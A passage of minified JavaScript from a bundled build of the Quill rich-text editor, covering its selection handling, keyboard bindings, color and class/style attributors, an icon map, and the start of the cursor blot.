r.insertBefore(this.cursor,n.start.node);this.cursor.attach()}this.cursor.format(t,e),this.scroll.optimize(),this.setNativeRange(this.cursor.textNode,this.cursor.textNode.data.length),this.update()}}}},{key:"getBounds",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=this.scroll.length();t=Math.min(t,n-1),e=Math.min(t+e,n-1)-t;var r=void 0,o=this.scroll.leaf(t),i=a(o,2),l=i[0],s=i[1];if(null==l)return null;var u=l.position(s,!0),c=a(u,2);r=c[0],s=c[1];var f=document.createRange();if(e>0){f.setStart(r,s);var h=this.scroll.leaf(t+e),p=a(h,2);if(l=p[0],s=p[1],null==l)return null;var d=l.position(s,!0),y=a(d,2);return r=y[0],s=y[1],f.setEnd(r,s),f.getBoundingClientRect()}var v="left",b=void 0;return r instanceof Text?(s<r.data.length?(f.setStart(r,s),f.setEnd(r,s+1)):(f.setStart(r,s-1),f.setEnd(r,s),v="right"),b=f.getBoundingClientRect()):(b=l.domNode.getBoundingClientRect(),s>0&&(v="right")),{bottom:b.top+b.height,height:b.height,left:b[v],right:b[v],top:b.top,width:0}}},{key:"getNativeRange",value:function(){var t=document.getSelection();if(null==t||t.rangeCount<=0)return null;var e=t.getRangeAt(0);if(null==e)return null;var n=this.normalizeNative(e);return m.info("getNativeRange",n),n}},{key:"getRange",value:function(){var t=this.getNativeRange();return null==t?[null,null]:[this.normalizedToRange(t),t]}},{key:"hasFocus",value:function(){return document.activeElement===this.root}},{key:"normalizedToRange",value:function(t){var e=this,n=[[t.start.node,t.start.offset]];t.native.collapsed||n.push([t.end.node,t.end.offset]);var r=n.map(function(t){var n=a(t,2),r=n[0],o=n[1],i=c.default.find(r,!0),l=i.offset(e.scroll);return 0===o?l:i instanceof c.default.Container?l+i.length():l+i.index(r,o)}),i=Math.min(Math.max.apply(Math,o(r)),this.scroll.length()-1),l=Math.min.apply(Math,[i].concat(o(r)));return new _(l,i-l)}},{key:"normalizeNative",value:function(t){if(!l(this.root,t.startContainer)||!t.collapsed&&!l(this.root,t.endContainer))return null;var e={start:{node:t.startContainer,offset:t.startOffset},end:{node:t.endContainer,offset:t.endOffset},native:t};return[e.start,e.end].forEach(function(t){for(var e=t.node,n=t.offset;!(e instanceof Text)&&e.childNodes.length>0;)if(e.childNodes.length>n)e=e.childNodes[n],n=0;else{if(e.childNodes.length!==n)break;e=e.lastChild,n=e instanceof Text?e.data.length:e.childNodes.length+1}t.node=e,t.offset=n}),e}},{key:"rangeToNative",value:function(t){var e=this,n=t.collapsed?[t.index]:[t.index,t.index+t.length],r=[],o=this.scroll.length();return n.forEach(function(t,n){t=Math.min(o-1,t);var i=void 0,l=e.scroll.leaf(t),s=a(l,2),u=s[0],c=s[1],f=u.position(c,0!==n),h=a(f,2);i=h[0],c=h[1],r.push(i,c)}),r.length<2&&(r=r.concat(r)),r}},{key:"scrollIntoView",value:function(t){var e=this.lastRange;if(null!=e){var n=this.getBounds(e.index,e.length);if(null!=n){var r=this.scroll.length()-1,o=this.scroll.line(Math.min(e.index,r)),i=a(o,1),l=i[0],s=l;if(e.length>0){var u=this.scroll.line(Math.min(e.index+e.length,r));s=a(u,1)[0]}if(null!=l&&null!=s){var c=t.getBoundingClientRect();n.top<c.top?t.scrollTop-=c.top-n.top:n.bottom>c.bottom&&(t.scrollTop+=n.bottom-c.bottom)}}}}},{key:"setNativeRange",value:function(t,e){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:t,r=arguments.length>3&&void 0!==arguments[3]?arguments[3]:e,o=arguments.length>4&&void 0!==arguments[4]&&arguments[4];if(m.info("setNativeRange",t,e,n,r),null==t||null!=this.root.parentNode&&null!=t.parentNode&&null!=n.parentNode){var i=document.getSelection();if(null!=i)if(null!=t){this.hasFocus()||this.root.focus();var l=(this.getNativeRange()||{}).native;if(null==l||o||t!==l.startContainer||e!==l.startOffset||n!==l.endContainer||r!==l.endOffset){"BR"==t.tagName&&(e=[].indexOf.call(t.parentNode.childNodes,t),t=t.parentNode),"BR"==n.tagName&&(r=[].indexOf.call(n.parentNode.childNodes,n),n=n.parentNode);var a=document.createRange();a.setStart(t,e),a.setEnd(n,r),i.removeAllRanges(),i.addRange(a)}}else i.removeAllRanges(),this.root.blur(),document.body.focus()}}},{key:"setRange",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:v.default.sources.API;if("string"==typeof e&&(n=e,e=!1),m.info("setRange",t),null!=t){var r=this.rangeToNative(t);this.setNativeRange.apply(this,o(r).concat([e]))}else this.setNativeRange(null);this.update(n)}},{key:"update",value:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:v.default.sources.USER,e=this.lastRange,n=this.getRange(),r=a(n,2),o=r[0],i=r[1];if(this.lastRange=o,null!=this.lastRange&&(this.savedRange=this.lastRange),!(0,d.default)(e,this.lastRange)){var l;!this.composing&&null!=i&&i.native.collapsed&&i.start.node!==this.cursor.textNode&&this.cursor.restore();var s=[v.default.events.SELECTION_CHANGE,(0,h.default)(this.lastRange),(0,h.default)(e),t];if((l=this.emitter).emit.apply(l,[v.default.events.EDITOR_CHANGE].concat(s)),t!==v.default.sources.SILENT){var u;(u=this.emitter).emit.apply(u,s)}}}}]),t}();e.Range=_,e.default=O},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function l(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var a=n(0),s=r(a),u=n(3),c=r(u),f=function(t){function e(){return o(this,e),i(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return l(e,t),e}(s.default.Container);f.allowedChildren=[c.default,u.BlockEmbed,f],e.default=f},function(t,e,n){"use strict";function r(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function i(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0}),e.ColorStyle=e.ColorClass=e.ColorAttributor=void 0;var l=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),a=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},s=n(0),u=function(t){return t&&t.__esModule?t:{default:t}}(s),c=function(t){function e(){return r(this,e),o(this,(e.__proto__||Object.getPrototypeOf(e)).apply(this,arguments))}return i(e,t),l(e,[{key:"value",value:function(t){var n=a(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"value",this).call(this,t);return n.startsWith("rgb(")?(n=n.replace(/^[^\d]+/,"").replace(/[^\d]+$/,""),"#"+n.split(",").map(function(t){return("00"+parseInt(t).toString(16)).slice(-2)}).join("")):n}}]),e}(u.default.Attributor.Style),f=new u.default.Attributor.Class("color","ql-color",{scope:u.default.Scope.INLINE}),h=new c("color","color",{scope:u.default.Scope.INLINE});e.ColorAttributor=c,e.ColorClass=f,e.ColorStyle=h},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e,n){return e in t?Object.defineProperty(t,e,{value:n,enumerable:!0,configurable:!0,writable:!0}):t[e]=n,t}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function l(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function a(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}function s(t,e){var n,r=t===D.keys.LEFT?"prefix":"suffix";return n={key:t,shiftKey:e,altKey:null},o(n,r,/^$/),o(n,"handler",function(n){var r=n.index;t===D.keys.RIGHT&&(r+=n.length+1);var o=this.quill.getLeaf(r);return!(b(o,1)[0]instanceof T.default.Embed)||(t===D.keys.LEFT?e?this.quill.setSelection(n.index-1,n.length+1,S.default.sources.USER):this.quill.setSelection(n.index-1,S.default.sources.USER):e?this.quill.setSelection(n.index,n.length+1,S.default.sources.USER):this.quill.setSelection(n.index+n.length+1,S.default.sources.USER),!1)}),n}function u(t,e){if(!(0===t.index||this.quill.getLength()<=1)){var n=this.quill.getLine(t.index),r=b(n,1),o=r[0],i={};if(0===e.offset){var l=this.quill.getLine(t.index-1),a=b(l,1),s=a[0];if(null!=s&&s.length()>1){var u=o.formats(),c=this.quill.getFormat(t.index-1,1);i=A.default.attributes.diff(u,c)||{}}}var f=/[\uD800-\uDBFF][\uDC00-\uDFFF]$/.test(e.prefix)?2:1;this.quill.deleteText(t.index-f,f,S.default.sources.USER),Object.keys(i).length>0&&this.quill.formatLine(t.index-f,f,i,S.default.sources.USER),this.quill.focus()}}function c(t,e){var n=/^[\uD800-\uDBFF][\uDC00-\uDFFF]/.test(e.suffix)?2:1;if(!(t.index>=this.quill.getLength()-n)){var r={},o=0,i=this.quill.getLine(t.index),l=b(i,1),a=l[0];if(e.offset>=a.length()-1){var s=this.quill.getLine(t.index+1),u=b(s,1),c=u[0];if(c){var f=a.formats(),h=this.quill.getFormat(t.index,1);r=A.default.attributes.diff(f,h)||{},o=c.length()}}this.quill.deleteText(t.index,n,S.default.sources.USER),Object.keys(r).length>0&&this.quill.formatLine(t.index+o-1,n,r,S.default.sources.USER)}}function f(t){var e=this.quill.getLines(t),n={};if(e.length>1){var r=e[0].formats(),o=e[e.length-1].formats();n=A.default.attributes.diff(o,r)||{}}this.quill.deleteText(t,S.default.sources.USER),Object.keys(n).length>0&&this.quill.formatLine(t.index,1,n,S.default.sources.USER),this.quill.setSelection(t.index,S.default.sources.SILENT),this.quill.focus()}function h(t,e){var n=this;t.length>0&&this.quill.scroll.deleteAt(t.index,t.length);var r=Object.keys(e.format).reduce(function(t,n){return T.default.query(n,T.default.Scope.BLOCK)&&!Array.isArray(e.format[n])&&(t[n]=e.format[n]),t},{});this.quill.insertText(t.index,"\n",r,S.default.sources.USER),this.quill.setSelection(t.index+1,S.default.sources.SILENT),this.quill.focus(),Object.keys(e.format).forEach(function(t){null==r[t]&&(Array.isArray(e.format[t])||"link"!==t&&n.quill.format(t,e.format[t],S.default.sources.USER))})}function p(t){return{key:D.keys.TAB,shiftKey:!t,format:{"code-block":!0},handler:function(e){var n=T.default.query("code-block"),r=e.index,o=e.length,i=this.quill.scroll.descendant(n,r),l=b(i,2),a=l[0],s=l[1];if(null!=a){var u=this.quill.getIndex(a),c=a.newlineIndex(s,!0)+1,f=a.newlineIndex(u+s+o),h=a.domNode.textContent.slice(c,f).split("\n");s=0,h.forEach(function(e,i){t?(a.insertAt(c+s,n.TAB),s+=n.TAB.length,0===i?r+=n.TAB.length:o+=n.TAB.length):e.startsWith(n.TAB)&&(a.deleteAt(c+s,n.TAB.length),s-=n.TAB.length,0===i?r-=n.TAB.length:o-=n.TAB.length),s+=e.length+1}),this.quill.update(S.default.sources.USER),this.quill.setSelection(r,o,S.default.sources.SILENT)}}}}function d(t){return{key:t[0].toUpperCase(),shortKey:!0,handler:function(e,n){this.quill.format(t,!n.format[t],S.default.sources.USER)}}}function y(t){if("string"==typeof t||"number"==typeof t)return y({key:t});if("object"===(void 0===t?"undefined":v(t))&&(t=(0,_.default)(t,!1)),"string"==typeof t.key)if(null!=D.keys[t.key.toUpperCase()])t.key=D.keys[t.key.toUpperCase()];else{if(1!==t.key.length)return null;t.key=t.key.toUpperCase().charCodeAt(0)}return t.shortKey&&(t[B]=t.shortKey,delete t.shortKey),t}Object.defineProperty(e,"__esModule",{value:!0}),e.SHORTKEY=e.default=void 0;var v="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t},b=function(){function t(t,e){var n=[],r=!0,o=!1,i=void 0;try{for(var l,a=t[Symbol.iterator]();!(r=(l=a.next()).done)&&(n.push(l.value),!e||n.length!==e);r=!0);}catch(t){o=!0,i=t}finally{try{!r&&a.return&&a.return()}finally{if(o)throw i}}return n}return function(e,n){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),g=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),m=n(21),_=r(m),O=n(12),w=r(O),x=n(2),k=r(x),E=n(4),N=r(E),j=n(20),A=r(j),q=n(0),T=r(q),P=n(6),S=r(P),C=n(10),L=r(C),M=n(7),R=r(M),I=(0,L.default)("quill:keyboard"),B=/Mac/i.test(navigator.platform)?"metaKey":"ctrlKey",D=function(t){function e(t,n){i(this,e);var r=l(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t,n));return r.bindings={},Object.keys(r.options.bindings).forEach(function(e){("list autofill"!==e||null==t.scroll.whitelist||t.scroll.whitelist.list)&&r.options.bindings[e]&&r.addBinding(r.options.bindings[e])}),r.addBinding({key:e.keys.ENTER,shiftKey:null},h),r.addBinding({key:e.keys.ENTER,metaKey:null,ctrlKey:null,altKey:null},function(){}),/Firefox/i.test(navigator.userAgent)?(r.addBinding({key:e.keys.BACKSPACE},{collapsed:!0},u),r.addBinding({key:e.keys.DELETE},{collapsed:!0},c)):(r.addBinding({key:e.keys.BACKSPACE},{collapsed:!0,prefix:/^.?$/},u),r.addBinding({key:e.keys.DELETE},{collapsed:!0,suffix:/^.?$/},c)),r.addBinding({key:e.keys.BACKSPACE},{collapsed:!1},f),r.addBinding({key:e.keys.DELETE},{collapsed:!1},f),r.addBinding({key:e.keys.BACKSPACE,altKey:null,ctrlKey:null,metaKey:null,shiftKey:null},{collapsed:!0,offset:0},u),r.listen(),r}return a(e,t),g(e,null,[{key:"match",value:function(t,e){return e=y(e),!["altKey","ctrlKey","metaKey","shiftKey"].some(function(n){return!!e[n]!==t[n]&&null!==e[n]})&&e.key===(t.which||t.keyCode)}}]),g(e,[{key:"addBinding",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{},n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},r=y(t);if(null==r||null==r.key)return I.warn("Attempted to add invalid keyboard binding",r);"function"==typeof e&&(e={handler:e}),"function"==typeof n&&(n={handler:n}),r=(0,k.default)(r,e,n),this.bindings[r.key]=this.bindings[r.key]||[],this.bindings[r.key].push(r)}},{key:"listen",value:function(){var t=this;this.quill.root.addEventListener("keydown",function(n){if(!n.defaultPrevented){var r=n.which||n.keyCode,o=(t.bindings[r]||[]).filter(function(t){return e.match(n,t)});if(0!==o.length){var i=t.quill.getSelection();if(null!=i&&t.quill.hasFocus()){var l=t.quill.getLine(i.index),a=b(l,2),s=a[0],u=a[1],c=t.quill.getLeaf(i.index),f=b(c,2),h=f[0],p=f[1],d=0===i.length?[h,p]:t.quill.getLeaf(i.index+i.length),y=b(d,2),g=y[0],m=y[1],_=h instanceof T.default.Text?h.value().slice(0,p):"",O=g instanceof T.default.Text?g.value().slice(m):"",x={collapsed:0===i.length,empty:0===i.length&&s.length()<=1,format:t.quill.getFormat(i),offset:u,prefix:_,suffix:O};o.some(function(e){if(null!=e.collapsed&&e.collapsed!==x.collapsed)return!1;if(null!=e.empty&&e.empty!==x.empty)return!1;if(null!=e.offset&&e.offset!==x.offset)return!1;if(Array.isArray(e.format)){if(e.format.every(function(t){return null==x.format[t]}))return!1}else if("object"===v(e.format)&&!Object.keys(e.format).every(function(t){return!0===e.format[t]?null!=x.format[t]:!1===e.format[t]?null==x.format[t]:(0,w.default)(e.format[t],x.format[t])}))return!1;return!(null!=e.prefix&&!e.prefix.test(x.prefix))&&(!(null!=e.suffix&&!e.suffix.test(x.suffix))&&!0!==e.handler.call(t,i,x))})&&n.preventDefault()}}}})}}]),e}(R.default);D.keys={BACKSPACE:8,TAB:9,ENTER:13,ESCAPE:27,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46},D.DEFAULTS={bindings:{bold:d("bold"),italic:d("italic"),underline:d("underline"),indent:{key:D.keys.TAB,format:["blockquote","indent","list"],handler:function(t,e){if(e.collapsed&&0!==e.offset)return!0;this.quill.format("indent","+1",S.default.sources.USER)}},outdent:{key:D.keys.TAB,shiftKey:!0,format:["blockquote","indent","list"],handler:function(t,e){if(e.collapsed&&0!==e.offset)return!0;this.quill.format("indent","-1",S.default.sources.USER)}},"outdent backspace":{key:D.keys.BACKSPACE,collapsed:!0,shiftKey:null,metaKey:null,ctrlKey:null,altKey:null,format:["indent","list"],offset:0,handler:function(t,e){null!=e.format.indent?this.quill.format("indent","-1",S.default.sources.USER):null!=e.format.list&&this.quill.format("list",!1,S.default.sources.USER)}},"indent code-block":p(!0),"outdent code-block":p(!1),"remove tab":{key:D.keys.TAB,shiftKey:!0,collapsed:!0,prefix:/\t$/,handler:function(t){this.quill.deleteText(t.index-1,1,S.default.sources.USER)}},tab:{key:D.keys.TAB,handler:function(t){this.quill.history.cutoff();var e=(new N.default).retain(t.index).delete(t.length).insert("\t");this.quill.updateContents(e,S.default.sources.USER),this.quill.history.cutoff(),this.quill.setSelection(t.index+1,S.default.sources.SILENT)}},"list empty enter":{key:D.keys.ENTER,collapsed:!0,format:["list"],empty:!0,handler:function(t,e){this.quill.format("list",!1,S.default.sources.USER),e.format.indent&&this.quill.format("indent",!1,S.default.sources.USER)}},"checklist enter":{key:D.keys.ENTER,collapsed:!0,format:{list:"checked"},handler:function(t){var e=this.quill.getLine(t.index),n=b(e,2),r=n[0],o=n[1],i=(0,k.default)({},r.formats(),{list:"checked"}),l=(new N.default).retain(t.index).insert("\n",i).retain(r.length()-o-1).retain(1,{list:"unchecked"});this.quill.updateContents(l,S.default.sources.USER),this.quill.setSelection(t.index+1,S.default.sources.SILENT),this.quill.scrollIntoView()}},"header enter":{key:D.keys.ENTER,collapsed:!0,format:["header"],suffix:/^$/,handler:function(t,e){var n=this.quill.getLine(t.index),r=b(n,2),o=r[0],i=r[1],l=(new N.default).retain(t.index).insert("\n",e.format).retain(o.length()-i-1).retain(1,{header:null});this.quill.updateContents(l,S.default.sources.USER),this.quill.setSelection(t.index+1,S.default.sources.SILENT),this.quill.scrollIntoView()}},"list autofill":{key:" ",collapsed:!0,format:{list:!1},prefix:/^\s*?(\d+\.|-|\*|\[ ?\]|\[x\])$/,handler:function(t,e){var n=e.prefix.length,r=this.quill.getLine(t.index),o=b(r,2),i=o[0],l=o[1];if(l>n)return!0;var a=void 0;switch(e.prefix.trim()){case"[]":case"[ ]":a="unchecked";break;case"[x]":a="checked";break;case"-":case"*":a="bullet";break;default:a="ordered"}this.quill.insertText(t.index," ",S.default.sources.USER),this.quill.history.cutoff();var s=(new N.default).retain(t.index-l).delete(n+1).retain(i.length()-2-l).retain(1,{list:a});this.quill.updateContents(s,S.default.sources.USER),this.quill.history.cutoff(),this.quill.setSelection(t.index-n,S.default.sources.SILENT)}},"code exit":{key:D.keys.ENTER,collapsed:!0,format:["code-block"],prefix:/\n\n$/,suffix:/^\s+$/,handler:function(t){var e=this.quill.getLine(t.index),n=b(e,2),r=n[0],o=n[1],i=(new N.default).retain(t.index+r.length()-o-2).retain(1,{"code-block":null}).delete(1);this.quill.updateContents(i,S.default.sources.USER)}},"embed left":s(D.keys.LEFT,!1),"embed left shift":s(D.keys.LEFT,!0),"embed right":s(D.keys.RIGHT,!1),"embed right shift":s(D.keys.RIGHT,!0)}},e.default=D,e.SHORTKEY=B},function(t,e,n){"use strict";t.exports={align:{"":n(75),center:n(76),right:n(77),justify:n(78)},background:n(79),blockquote:n(80),bold:n(81),clean:n(82),code:n(40),"code-block":n(40),color:n(83),direction:{"":n(84),rtl:n(85)},float:{center:n(86),full:n(87),left:n(88),right:n(89)},formula:n(90),header:{1:n(91),2:n(92)},italic:n(93),image:n(94),indent:{"+1":n(95),"-1":n(96)},link:n(97),list:{ordered:n(98),bullet:n(99),check:n(100)},script:{sub:n(101),super:n(102)},strike:n(103),underline:n(104),video:n(105)}},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(1),o=function(){function t(t){this.domNode=t,this.domNode[r.DATA_KEY]={blot:this}}return Object.defineProperty(t.prototype,"statics",{get:function(){return this.constructor},enumerable:!0,configurable:!0}),t.create=function(t){if(null==this.tagName)throw new r.ParchmentError("Blot definition missing tagName");var e;return Array.isArray(this.tagName)?("string"==typeof t&&(t=t.toUpperCase(),parseInt(t).toString()===t&&(t=parseInt(t))),e="number"==typeof t?document.createElement(this.tagName[t-1]):this.tagName.indexOf(t)>-1?document.createElement(t):document.createElement(this.tagName[0])):e=document.createElement(this.tagName),this.className&&e.classList.add(this.className),e},t.prototype.attach=function(){null!=this.parent&&(this.scroll=this.parent.scroll)},t.prototype.clone=function(){var t=this.domNode.cloneNode(!1);return r.create(t)},t.prototype.detach=function(){null!=this.parent&&this.parent.removeChild(this),delete this.domNode[r.DATA_KEY]},t.prototype.deleteAt=function(t,e){this.isolate(t,e).remove()},t.prototype.formatAt=function(t,e,n,o){var i=this.isolate(t,e);if(null!=r.query(n,r.Scope.BLOT)&&o)i.wrap(n,o);else if(null!=r.query(n,r.Scope.ATTRIBUTE)){var l=r.create(this.statics.scope);i.wrap(l),l.format(n,o)}},t.prototype.insertAt=function(t,e,n){var o=null==n?r.create("text",e):r.create(e,n),i=this.split(t);this.parent.insertBefore(o,i)},t.prototype.insertInto=function(t,e){void 0===e&&(e=null),null!=this.parent&&this.parent.children.remove(this);var n=null;t.children.insertBefore(this,e),null!=e&&(n=e.domNode),this.domNode.parentNode==t.domNode&&this.domNode.nextSibling==n||t.domNode.insertBefore(this.domNode,n),this.parent=t,this.attach()},t.prototype.isolate=function(t,e){var n=this.split(t);return n.split(e),n},t.prototype.length=function(){return 1},t.prototype.offset=function(t){return void 0===t&&(t=this.parent),null==this.parent||this==t?0:this.parent.children.offset(this)+this.parent.offset(t)},t.prototype.optimize=function(t){null!=this.domNode[r.DATA_KEY]&&delete this.domNode[r.DATA_KEY].mutations},t.prototype.remove=function(){null!=this.domNode.parentNode&&this.domNode.parentNode.removeChild(this.domNode),this.detach()},t.prototype.replace=function(t){null!=t.parent&&(t.parent.insertBefore(this,t.next),t.remove())},t.prototype.replaceWith=function(t,e){var n="string"==typeof t?r.create(t,e):t;return n.replace(this),n},t.prototype.split=function(t,e){return 0===t?this:this.next},t.prototype.update=function(t,e){},t.prototype.wrap=function(t,e){var n="string"==typeof t?r.create(t,e):t;return null!=this.parent&&this.parent.insertBefore(n,this.next),n.appendChild(this),n},t.blotName="abstract",t}();e.default=o},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(11),o=n(29),i=n(30),l=n(1),a=function(){function t(t){this.attributes={},this.domNode=t,this.build()}return t.prototype.attribute=function(t,e){e?t.add(this.domNode,e)&&(null!=t.value(this.domNode)?this.attributes[t.attrName]=t:delete this.attributes[t.attrName]):(t.remove(this.domNode),delete this.attributes[t.attrName])},t.prototype.build=function(){var t=this;this.attributes={};var e=r.default.keys(this.domNode),n=o.default.keys(this.domNode),a=i.default.keys(this.domNode);e.concat(n).concat(a).forEach(function(e){var n=l.query(e,l.Scope.ATTRIBUTE);n instanceof r.default&&(t.attributes[n.attrName]=n)})},t.prototype.copy=function(t){var e=this;Object.keys(this.attributes).forEach(function(n){var r=e.attributes[n].value(e.domNode);t.format(n,r)})},t.prototype.move=function(t){var e=this;this.copy(t),Object.keys(this.attributes).forEach(function(t){e.attributes[t].remove(e.domNode)}),this.attributes={}},t.prototype.values=function(){var t=this;return Object.keys(this.attributes).reduce(function(e,n){return e[n]=t.attributes[n].value(t.domNode),e},{})},t}();e.default=a},function(t,e,n){"use strict";function r(t,e){return(t.getAttribute("class")||"").split(/\s+/).filter(function(t){return 0===t.indexOf(e+"-")})}var o=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n])};return function(e,n){function r(){this.constructor=e}t(e,n),e.prototype=null===n?Object.create(n):(r.prototype=n.prototype,new r)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=n(11),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o(e,t),e.keys=function(t){return(t.getAttribute("class")||"").split(/\s+/).map(function(t){return t.split("-").slice(0,-1).join("-")})},e.prototype.add=function(t,e){return!!this.canAdd(t,e)&&(this.remove(t),t.classList.add(this.keyName+"-"+e),!0)},e.prototype.remove=function(t){r(t,this.keyName).forEach(function(e){t.classList.remove(e)}),0===t.classList.length&&t.removeAttribute("class")},e.prototype.value=function(t){var e=r(t,this.keyName)[0]||"",n=e.slice(this.keyName.length+1);return this.canAdd(t,n)?n:""},e}(i.default);e.default=l},function(t,e,n){"use strict";function r(t){var e=t.split("-"),n=e.slice(1).map(function(t){return t[0].toUpperCase()+t.slice(1)}).join("");return e[0]+n}var o=this&&this.__extends||function(){var t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var n in e)e.hasOwnProperty(n)&&(t[n]=e[n])};return function(e,n){function r(){this.constructor=e}t(e,n),e.prototype=null===n?Object.create(n):(r.prototype=n.prototype,new r)}}();Object.defineProperty(e,"__esModule",{value:!0});var i=n(11),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return o(e,t),e.keys=function(t){return(t.getAttribute("style")||"").split(";").map(function(t){return t.split(":")[0].trim()})},e.prototype.add=function(t,e){return!!this.canAdd(t,e)&&(t.style[r(this.keyName)]=e,!0)},e.prototype.remove=function(t){t.style[r(this.keyName)]="",t.getAttribute("style")||t.removeAttribute("style")},e.prototype.value=function(t){var e=t.style[r(this.keyName)];return this.canAdd(t,e)?e:""},e}(i.default);e.default=l},function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{default:t}}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function l(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}Object.defineProperty(e,"__esModule",{value:!0});var a=function(){function t(t,e){var n=[],r=!0,o=!1,i=void 0;try{for(var l,a=t[Symbol.iterator]();!(r=(l=a.next()).done)&&(n.push(l.value),!e||n.length!==e);r=!0);}catch(t){o=!0,i=t}finally{try{!r&&a.return&&a.return()}finally{if(o)throw i}}return n}return function(e,n){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,n);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),s=function t(e,n,r){null===e&&(e=Function.prototype);var o=Object.getOwnPropertyDescriptor(e,n);if(void 0===o){var i=Object.getPrototypeOf(e);return null===i?void 0:t(i,n,r)}if("value"in o)return o.value;var l=o.get;if(void 0!==l)return l.call(r)},u=function(){function t(t,e){for(var n=0;n<e.length;n++){var r=e[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}}return function(e,n,r){return n&&t(e.prototype,n),r&&t(e,r),e}}(),c=n(0),f=r(c),h=n(8),p=r(h),d=function(t){function e(t,n){o(this,e);var r=i(this,(e.__proto__||Object.getPrototypeOf(e)).call(this,t));return r.selection=n,r.textNode=document.createTextNode(e.CONTENTS),r.domNode.appendChild(r.textNode),r._length=0,r}return l(e,t),u(e,null,[{key:"value",value:function(){}}]),u(e,[{key:"detach",value:function(){null!=this.parent&&this.parent.removeChild(this)}},{key:"format",value:function(t,n){if(0!==this._length)return s(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"format",this).call(this,t,n);for(var r=this,o=0;null!=r&&r.statics.scope!==f.default.Scope.BLOCK_BLOT;)o+=r.offset(r.parent),r=r.parent;null!=r&&(this._length=e.CONTENTS.length,r.optimize(),r.formatAt(o,e.CONTENTS.length,t,n),this._length=0)}},{key:"index",value:function(t,n){return t===this.textNode?0:s(e.prototype.__proto__||Object.getPrototypeOf(e.prototype),"index",this).call(this,t,n)}},{key:"length",value:function(){return 